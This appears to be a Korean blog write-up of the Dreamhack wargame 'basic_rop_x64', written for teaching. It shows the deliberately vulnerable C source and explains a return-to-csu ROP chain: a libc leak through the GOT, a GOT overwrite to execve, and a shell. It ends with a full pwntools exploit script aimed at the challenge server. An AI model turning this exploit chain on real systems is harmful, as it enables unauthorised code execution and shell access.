본문 바로가기

Dreamhack/Wargame

[Wargame] basic_rop_x64

1. 실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

2. 풀이

① checksec을 이용하여, 메모리 보호기법을 확인한다.

  • NX가 적용되어 있고, 카나리와 PIE가 적용되지 않은 것을 확인할 수 있다.

 

② buf의 크기가 0x40인데, 0x400만큼 입력값을 받아 buf에 넣기 때문에 BOF취약점이 발생할 수 있다.

basic_rop_x64.c 의 일부분.



③ 이를 통해, _ _libc_csu_init()의 일부 코드를 가젯으로 사용하여 RET를 덮어쓴다.

     (Return to csu 참고 : 2022.07.04 - [System Hacking] - RTC (Return To CSU) )

payload  = b"A" * 0x40 + b"B" * 0x8
payload += p64(libc_csu1)

 

④ 가젯을 통해 write함수를 이용하여, got에 저장되어 있는 read 함수에 대한 라이브러리 주소(실제 코드 주소)를 출력한다.

from pwn import *

p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")

def print_v(name, value):
    return success(": ".join([name, hex(value)]))

libc_csu2 = 0x400860
libc_csu1 = 0x40087a
read_got = e.got['read']
write_got = e.got['write']

# write(1, read_got, 0x8)
payload  = b"A" * 0x40 + b"B" * 0x8
payload += p64(libc_csu1) 
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(write_got) #R12 
payload += p64(0x8) #RDX
payload += p64(read_got) #RSI
payload += p64(1) #RDI
payload += p64(libc_csu2)

p.sendline(payload)
p.recvuntil(b"A" * 0x40)

read_addr = u64(p.recvn(6) + (b'\x00' * 2))
print_v("Read Address", read_addr)

 

 

⑤ 구한 read함수를 통해, execve함수의 주소를 계산한다.

read_libc = libc.symbols['read']
execve_libc = libc.symbols['execve']

p.sendline(payload)
p.recvuntil(b"A" * 0x40)

read_addr = u64(p.recvn(6) + (b'\x00' * 2))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc

print_v("Read Address", read_addr)
print_v("Base Library", base_libc)
print_v("execve Address", execve_addr)

 

⑥ 쉘 획득을 위해, bss위치에 "/bin/sh" 문자열을 넣어준다.

binsh = e.bss()

# read(0, binsh, 0x8)
payload += b"C" * 0x8  # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(read_got) #R12
payload += p64(0x8) #RDX
payload += p64(binsh) #RSI
payload += p64(0) #RDI
payload += p64(libc_csu2)

p.sendline(payload)
p.recvuntil(b"A" * 0x40)

read_addr = u64(p.recvn(6) + (b'\x00' * 2))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc

p.send(b"/bin/sh\x00")

 

⑦ GOT Overwrite 하여, GOT의 write함수 주소값을 execve함수의 주소값으로 덮어쓴다.

     (GOT Overwrite 참고 : 2022.06.27 - [System Hacking] - PLT & GOT )

#read(0, write, 0x8)
payload += b"C" * 0x8  # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(read_got) #R12
payload += p64(0x8) #RDX
payload += p64(write_got) #RSI
payload += p64(0) #RDI
payload += p64(libc_csu2)

p.sendline(payload)
p.recvuntil(b"A" * 0x40)

read_addr = u64(p.recvn(6) + (b'\x00' * 2))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc

p.send(b"/bin/sh\x00")
p.send(p64(execve_addr))

 

⑧ /bin/sh의 주소를 첫번째 인자로 넣어주고 write함수를 재실행하면, write(/bin/sh) 대신 execve(/bin/sh)가 실행된다.

#write(/bin/sh) -> execve(/bin/sh)
payload += b"C" * 0x8  # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(0)
payload += p64(write_got) #R12
payload += p64(0) #RDX
payload += p64(0) #RSI
payload += p64(binsh) #RDI
payload += p64(libc_csu2)

3. Exploit Code

  • pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
#!/usr/bin/python3

from pwn import *

def print_v(name, value):
    return success(": ".join([name, hex(value)]))

p = remote("host3.dreamhack.games",12277)
#p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")

libc_csu2 = 0x400860
libc_csu1 = 0x40087a
binsh = e.bss()

read_got = e.got['read']
write_got = e.got['write']
read_libc = libc.symbols['read']
execve_libc = libc.symbols['execve']

# write(1, read_got, 0x8)
payload  = b"A" * 0x40 + b"B" * 0x8
payload += p64(libc_csu1) 
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(write_got) #R12 
payload += p64(0x8) #RDX
payload += p64(read_got) #RSI
payload += p64(1) #RDI
payload += p64(libc_csu2)

# read(0, binsh, 0x8)
payload += b"C" * 0x8  # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(read_got) #R12
payload += p64(0x8) #RDX
payload += p64(binsh) #RSI
payload += p64(0) #RDI
payload += p64(libc_csu2)

#read(0, write, 0x8)
payload += b"C" * 0x8  # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(read_got) #R12
payload += p64(0x8) #RDX
payload += p64(write_got) #RSI
payload += p64(0) #RDI
payload += p64(libc_csu2)

#write(/bin/sh) -> execve(/bin/sh)
payload += b"C" * 0x8  # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(0)
payload += p64(write_got) #R12
payload += p64(0) #RDX
payload += p64(0) #RSI
payload += p64(binsh) #RDI
#payload += p64(0x0000000000400819) #ret 주소값.
payload += p64(libc_csu2)

p.sendline(payload)
p.recvuntil(b"A" * 0x40)

read_addr = u64(p.recvn(6) + (b'\x00' * 2))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc

print_v("Read Address", read_addr)
print_v("Base Library", base_libc)
print_v("execve Address", execve_addr)

p.send(b"/bin/sh\x00")
p.send(p64(execve_addr))

p.interactive()

'Dreamhack > Wargame' 카테고리의 다른 글

[Wargame] fho  (0) 2022.07.19
[Wargame] basic_rop_x86  (0) 2022.07.10
[Wargame] rop  (0) 2022.07.03
[Wargame] Return to Library  (0) 2022.07.02
[Wargame] ssp_001  (0) 2022.06.26